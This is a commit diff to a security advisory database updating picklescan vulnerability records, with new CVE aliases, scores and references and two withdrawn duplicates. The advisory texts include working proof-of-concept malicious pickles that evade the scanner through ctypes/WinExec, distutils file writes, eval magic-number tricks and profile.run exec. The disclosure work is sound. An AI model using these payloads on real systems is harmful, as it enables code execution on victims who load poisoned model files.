Skip to content

Commit f5dddfb

Browse files

File tree

advisories/github-reviewed/2025/12/GHSA-4675-36f9-wf6r/GHSA-4675-36f9-wf6r.json

Lines changed: 16 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,18 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-4675-36f9-wf6r",
4-
"modified": "2025-12-29T15:23:49Z",
4+
"modified": "2026-06-18T14:44:57Z",
55
"published": "2025-12-29T15:23:49Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2025-71323"
8+
],
79
"summary": "Picklescan does not block ctypes",
810
"details": "### Summary\nPicklescan doesnt flag ctypes module as a dangerous module, which is a huge issue. ctypes is basically a foreign function interface library and can be used to\n* Load DLLs\n* Call C functions directly\n* Manipulate memory raw pointers.\n\nThis can allow attackers to achieve RCE by invoking direct syscalls without going through blocked modules. Another major issue that ctypes being allowed presents is that it can be used down the line to dismantle interpreter based python sandboxes as ctypes allow direct access to raw memory.\n\nThis is a more severe loophole than normal gadget chains and bypasses as raw memory access can be used for a lot of nefarious purposes down the line if left undetected\n\n### PoC\n```python\nimport pickle\nimport ctypes\nimport operator\n\nclass Kernel32Loader:\n def __reduce__(self):\n #we go direct to the kerneeellllllll\n return (ctypes.WinDLL, (\"kernel32.dll\",))\n\nclass WinExecGetter:\n def __reduce__(self):\n return (operator.itemgetter(\"WinExec\"), (Kernel32Loader(),))\n\nclass PopCalc:\n def __reduce__(self):\n #methodcaller to invoke \"__call__\" on the function pointer.\n return (\n operator.methodcaller(\"__call__\", b\"calc.exe\", 1), \n (WinExecGetter(),)\n )\n\ntry:\n payload = pickle.dumps(PopCalc())\n \n with open(\"calc_exploit.pkl\", \"wb\") as f:\n f.write(payload)\n \n print(\"Generated 'calc_exploit.pkl'\")\n\nexcept Exception as e:\n print(f\"Generation failed: {e}\")\n```\nThis will create a pickle file which is not detected by the latest version of picklescan as malicious\n\n```python\nimport pickle\nprint(\"Loading bypass.pkl...\")\npickle.load(open(\"calc_exploit.pkl\", \"rb\"))\n```\n\n<img width=\"1333\" height=\"677\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f5b066f3-116a-4377-a538-f293f3a6c176\" />",
911
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
15+
},
1016
{
1117
"type": "CVSS_V4",
1218
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
@@ -38,6 +44,10 @@
3844
"type": "WEB",
3945
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-4675-36f9-wf6r"
4046
},
47+
{
48+
"type": "ADVISORY",
49+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71323"
50+
},
4151
{
4252
"type": "WEB",
4353
"url": "https://github.com/mmaitre314/picklescan/pull/53"
@@ -53,6 +63,10 @@
5363
{
5464
"type": "WEB",
5565
"url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33"
66+
},
67+
{
68+
"type": "WEB",
69+
"url": "https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-unblocked-ctypes-module"
5670
}
5771
],
5872
"database_specific": {

advisories/github-reviewed/2025/12/GHSA-m273-6v24-x4m4/GHSA-m273-6v24-x4m4.json

Lines changed: 12 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-m273-6v24-x4m4",
4-
"modified": "2025-12-29T15:22:30Z",
4+
"modified": "2026-06-18T14:44:27Z",
55
"published": "2025-12-29T15:22:30Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2025-71321"
8+
],
79
"summary": "Picklescan vulnerable to Arbitrary File Writing",
810
"details": "### Summary\nPicklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.\n\n### Details\nThis is another vulnerability which impacts the downstream user.\n\nBy constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.\n\n### PoC\n```python\nimport pickle\nimport distutils.file_util\n\nclass FileWriteBypass:\n def __reduce__(self):\n \n target_file = \"pwned_config.env\"\n content = [\"print('I have overwritten your config')\"]\n \n return (distutils.file_util.write_file, (target_file, content))\n\npayload = pickle.dumps(FileWriteBypass())\nwith open(\"bypass_filewrite.pkl\", \"wb\") as f:\n f.write(payload)\n\nprint(\"bypass_filewrite.pkl\")\n```\n\n<img width=\"853\" height=\"197\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65\" />\n\nTo fix this just add disutil to the blacklist",
911
"severity": [
@@ -38,6 +40,10 @@
3840
"type": "WEB",
3941
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-m273-6v24-x4m4"
4042
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71321"
46+
},
4147
{
4248
"type": "WEB",
4349
"url": "https://github.com/mmaitre314/picklescan/pull/53"
@@ -53,6 +59,10 @@
5359
{
5460
"type": "WEB",
5561
"url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33"
62+
},
63+
{
64+
"type": "WEB",
65+
"url": "https://www.vulncheck.com/advisories/picklescan-arbitrary-file-writing-via-distutils-module-bypass"
5666
}
5767
],
5868
"database_specific": {

advisories/github-reviewed/2026/02/GHSA-97f8-7cmv-76j2/GHSA-97f8-7cmv-76j2.json

Lines changed: 20 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-97f8-7cmv-76j2",
4-
"modified": "2026-02-18T17:45:52Z",
4+
"modified": "2026-06-18T14:43:46Z",
55
"published": "2026-02-18T17:45:52Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2026-53875"
8+
],
79
"summary": "Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER",
810
"details": "### Summary\nThis is a scanning bypass to `scan_pytorch` function in `picklescan`. As we can see in the implementation of [get_magic_number()](https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/torch.py#L76C5-L84) that uses `pickletools.genops(data)` to get the `magic_number` with the condition `opcode.name` includes `INT` or `LONG`, but the PyTorch's implemtation simply uses [pickle_module.load()](https://github.com/pytorch/pytorch/blob/134179474539648ba7dee1317959529fbd0e7f89/torch/serialization.py#L1797) to get this `magic_number`. For this implementation difference, we then can embed the `magic_code` into the `PyTorch` file via dynamic `eval` on the `\\_\\_reduce\\_\\_` trick, which can make the `pickletools.genops(data)` cannot get the `magic_code` in `INT` or `LONG` type, but the `pickle_module.load()` can still return the same `magic_code`, eading to a bypass.\n\n### PoC\n#### Attack Step 1\nwe can edit the source code of the function [\\_legacy\\_save()](https://github.com/pytorch/pytorch/blob/134179474539648ba7dee1317959529fbd0e7f89/torch/serialization.py#L1120) as follows:\n```Python\n class payload:\n def __reduce__(self):\n return (eval, ('MAGIC_NUMBER',))\n\n pickle_module.dump(payload(), f, protocol=pickle_protocol)\n```\n#### Attack Step 2\nwith the modified version of `PyTorch`, we run the following PoC to generate the `payload.pt`:\n```Python\nimport torch \n\nclass payload:\n def __reduce__(self):\n return (__import__('os').system, ('touch /tmp/hacked',))\n\ntorch.save(payload(), './payload.pt', _use_new_zipfile_serialization = False)\n```\n\n#### Picklescan result\n```\nERROR: Invalid magic number for file /home/pzhou/bug-bunty/pytorch/PoC/payload.pt: None != 119547037146038801333356\n----------- SCAN SUMMARY -----------\nScanned files: 0\nInfected files: 0\nDangerous globals: 0\n```\n\n#### Victim Step\n```Python\nimport torch\ntorch.load('./payload.pt', weights_only=False)\n```\nthen you can find the illegal file `/tmp/hacked` created in your local system.\n\n### Impact\nCraft malicious `PyTorch` payloads to bypass `picklescan`, then recall ACE/RCE.",
911
"severity": [
@@ -38,13 +40,29 @@
3840
"type": "WEB",
3941
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-97f8-7cmv-76j2"
4042
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53875"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/mmaitre314/picklescan/commit/134179474539648ba7dee1317959529fbd0e7f89"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/mmaitre314/picklescan/commit/2a8383cfeb4158567f9770d86597300c9e508d0f"
54+
},
4155
{
4256
"type": "WEB",
4357
"url": "https://github.com/mmaitre314/picklescan/commit/b9997634683a4f4bd0c7e3701e7ce7e90fe70e8c"
4458
},
4559
{
4660
"type": "PACKAGE",
4761
"url": "https://github.com/mmaitre314/picklescan"
62+
},
63+
{
64+
"type": "WEB",
65+
"url": "https://www.vulncheck.com/advisories/picklescan-scanning-bypass-via-dynamic-eval-in-scan-pytorch"
4866
}
4967
],
5068
"database_specific": {

advisories/github-reviewed/2026/03/GHSA-7wx9-6375-f5wh/GHSA-7wx9-6375-f5wh.json

Lines changed: 12 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-7wx9-6375-f5wh",
4-
"modified": "2026-03-03T20:03:35Z",
4+
"modified": "2026-06-18T14:43:20Z",
55
"published": "2026-03-03T20:03:35Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2026-53873"
8+
],
79
"summary": "PickleScan's profile.run blocklist mismatch allows exec() bypass",
810
"details": "## Summary\n\npicklescan v1.0.3 blocks `profile.Profile.run` and `profile.Profile.runctx` but does NOT block the module-level `profile.run()` function. A malicious pickle calling `profile.run(statement)` achieves arbitrary code execution via `exec()` while picklescan reports 0 issues. This is because the blocklist entry `\"Profile.run\"` does not match the pickle global name `\"run\"`.\n\n## Severity\n\n**High** — Direct code execution via `exec()` with zero scanner detection.\n\n## Affected Versions\n\n- picklescan v1.0.3 (latest — the profile entries were added in recent versions)\n- Earlier versions also affected (profile not blocked at all)\n\n## Details\n\n### Root Cause\n\nIn `scanner.py` line 199, the blocklist entry for `profile` is:\n\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\"},\n```\n\nWhen a pickle file imports `profile.run` (the module-level function), picklescan's opcode parser extracts:\n- `module = \"profile\"`\n- `name = \"run\"`\n\nThe blocklist check at line 414 is:\n\n```python\nelif unsafe_filter is not None and (unsafe_filter == \"*\" or g.name in unsafe_filter):\n```\n\nThis checks: is `\"run\"` in `{\"Profile.run\", \"Profile.runctx\"}`?\n\n**Answer: NO.** `\"run\" != \"Profile.run\"`. The string comparison is exact — there is no prefix/suffix matching.\n\n### What `profile.run()` Does\n\n```python\n# From Python's Lib/profile.py\ndef run(statement, filename=None, sort=-1):\n prof = Profile()\n try:\n prof.run(statement) # Calls exec(statement)\n except SystemExit:\n pass\n ...\n```\n\n`profile.run(statement)` calls `exec(statement)` internally, enabling arbitrary Python code execution.\n\n### Proof of Concept\n\n```python\nimport struct, io, pickle\n\ndef sbu(s):\n b = s.encode()\n return b\"\\x8c\" + struct.pack(\"<B\", len(b)) + b\n\n# profile.run(\"import os; os.system('id')\")\npayload = (\n b\"\\x80\\x04\\x95\" + struct.pack(\"<Q\", 60)\n + sbu(\"profile\") + sbu(\"run\") + b\"\\x93\"\n + sbu(\"import os; os.system('id')\")\n + b\"\\x85\" + b\"R\" + b\".\"\n)\n\n# picklescan: 0 issues (name \"run\" not in {\"Profile.run\", \"Profile.runctx\"})\nfrom picklescan.scanner import scan_pickle_bytes\nresult = scan_pickle_bytes(io.BytesIO(payload), \"test.pkl\")\nassert result.issues_count == 0 # CLEAN!\n\n# Execute: runs exec(\"import os; os.system('id')\") → RCE\npickle.loads(payload)\n```\n\n### Comparison\n\n| Pickle Global | Blocklist Entry | Match? | Result |\n|--------------|-----------------|--------|--------|\n| `(\"profile\", \"run\")` | `\"Profile.run\"` | NO — `\"run\" != \"Profile.run\"` | CLEAN (bypass!) |\n| `(\"profile\", \"Profile.run\")` | `\"Profile.run\"` | YES | DETECTED |\n| `(\"profile\", \"runctx\")` | `\"Profile.runctx\"` | NO — `\"runctx\" != \"Profile.runctx\"` | CLEAN (bypass!) |\n\nThe pickle opcode `GLOBAL` / `STACK_GLOBAL` resolves `profile.run` to the MODULE-LEVEL function, not the class method `Profile.run`. These are different Python objects but both execute arbitrary code.\n\n## Impact\n\n`profile.run()` provides direct `exec()` execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because `exec()` can import any module and call any function, bypassing the blocklist entirely.\n\n## Suggested Fix\n\nChange the `profile` blocklist entry from:\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\"},\n```\nto:\n```python\n\"profile\": \"*\",\n```\n\nOr explicitly add the module-level functions:\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\", \"run\", \"runctx\"},\n```\n\n## Resources\n\n- picklescan source: `scanner.py` line 199 (`\"profile\": {\"Profile.run\", \"Profile.runctx\"}`)\n- picklescan source: `scanner.py` line 414 (exact string match logic)\n- Python source: `Lib/profile.py` `run()` function — calls `exec()`",
911
"severity": [
@@ -38,9 +40,17 @@
3840
"type": "WEB",
3941
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-7wx9-6375-f5wh"
4042
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53873"
46+
},
4147
{
4248
"type": "PACKAGE",
4349
"url": "https://github.com/mmaitre314/picklescan"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-profile-run-blocklist-bypass"
4454
}
4555
],
4656
"database_specific": {
Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-4mpj-78p6-rj59",
4+
"modified": "2026-06-18T14:43:09Z",
5+
"published": "2026-06-17T18:35:57Z",
6+
"withdrawn": "2026-06-18T14:43:09Z",
7+
"aliases": [],
8+
"summary": "Duplicate Advisory: PickleScan's profile.run blocklist mismatch allows exec() bypass",
9+
"details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-7wx9-6375-f5wh. This link is maintained to preserve external references.\n\n## Original Description\npicklescan before 1.0.4 contains an incomplete blocklist for the profile module that fails to block the module-level profile.run() function, allowing attackers to achieve arbitrary code execution via exec(). Attackers can craft malicious pickle files calling profile.run(statement) to execute arbitrary Python code while picklescan reports zero security issues.",
10+
"severity": [
11+
{
12+
"type": "CVSS_V3",
13+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
14+
},
15+
{
16+
"type": "CVSS_V4",
17+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
18+
}
19+
],
20+
"affected": [
21+
{
22+
"package": {
23+
"ecosystem": "PyPI",
24+
"name": "picklescan"
25+
},
26+
"ranges": [
27+
{
28+
"type": "ECOSYSTEM",
29+
"events": [
30+
{
31+
"introduced": "0"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "< 1.0.4"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-7wx9-6375-f5wh"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53873"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-profile-run-blocklist-bypass"
53+
}
54+
],
55+
"database_specific": {
56+
"cwe_ids": [
57+
"CWE-184"
58+
],
59+
"severity": "CRITICAL",
60+
"github_reviewed": true,
61+
"github_reviewed_at": "2026-06-18T14:43:09Z",
62+
"nvd_published_at": "2026-06-17T17:17:25Z"
63+
}
64+
}
Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-7f79-rvx6-vxc4",
4+
"modified": "2026-06-18T14:44:46Z",
5+
"published": "2026-06-17T18:35:56Z",
6+
"withdrawn": "2026-06-18T14:44:46Z",
7+
"aliases": [],
8+
"summary": "Duplicate Advisory: Picklescan does not block ctypes",
9+
"details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-4675-36f9-wf6r. This link is maintained to preserve external references.\n\n### Original Description\npicklescan before 0.0.33 fails to block the ctypes module, allowing attackers to achieve remote code execution by invoking direct syscalls and accessing raw memory. Attackers can craft malicious pickle files using ctypes.WinDLL to load kernel32.dll and execute arbitrary commands, bypassing sandbox protections and gadget chain detection.",
10+
"severity": [
11+
{
12+
"type": "CVSS_V3",
13+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
14+
},
15+
{
16+
"type": "CVSS_V4",
17+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
18+
}
19+
],
20+
"affected": [
21+
{
22+
"package": {
23+
"ecosystem": "PyPI",
24+
"name": "picklescan"
25+
},
26+
"ranges": [
27+
{
28+
"type": "ECOSYSTEM",
29+
"events": [
30+
{
31+
"introduced": "0"
32+
},
33+
{
34+
"fixed": "0.0.33"
35+
}
36+
]
37+
}
38+
]
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-4675-36f9-wf6r"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71323"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-unblocked-ctypes-module"
53+
}
54+
],
55+
"database_specific": {
56+
"cwe_ids": [
57+
"CWE-184"
58+
],
59+
"severity": "CRITICAL",
60+
"github_reviewed": true,
61+
"github_reviewed_at": "2026-06-18T14:44:46Z",
62+
"nvd_published_at": "2026-06-17T17:16:41Z"
63+
}
64+
}

0 commit comments

Comments
 (0)